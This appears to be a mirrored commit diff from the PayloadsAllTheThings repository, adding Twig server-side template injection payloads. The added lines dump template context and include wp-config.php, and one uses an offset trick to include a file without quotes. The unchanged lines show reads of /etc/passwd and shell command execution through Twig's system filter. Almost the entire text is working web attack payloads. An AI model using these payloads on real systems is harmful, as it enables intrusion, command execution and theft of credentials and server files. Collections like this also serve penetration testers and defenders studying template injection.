mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-01-05 11:05:29 +00:00
commit
83c4658ff8
@ -775,6 +775,7 @@ Execute code using SSTI for Slim engine.
|
|||||||
{{7*7}}
|
{{7*7}}
|
||||||
{{7*'7'}} would result in 49
|
{{7*'7'}} would result in 49
|
||||||
{{dump(app)}}
|
{{dump(app)}}
|
||||||
|
{{dump(_context)}}
|
||||||
{{app.request.server.all|join(',')}}
|
{{app.request.server.all|join(',')}}
|
||||||
```
|
```
|
||||||
|
|
||||||
@ -796,6 +797,7 @@ $output = $twig > render (
|
|||||||
|
|
||||||
```python
|
```python
|
||||||
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
|
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
|
||||||
|
{{include("wp-config.php")}}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Twig - Code execution
|
### Twig - Code execution
|
||||||
@ -809,6 +811,12 @@ $output = $twig > render (
|
|||||||
{{['cat$IFS/etc/passwd']|filter('system')}}
|
{{['cat$IFS/etc/passwd']|filter('system')}}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)
|
||||||
|
|
||||||
|
```python
|
||||||
|
FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}
|
||||||
|
```
|
||||||
|
|
||||||
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
|
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
|
Loading…
Reference in New Issue
Block a user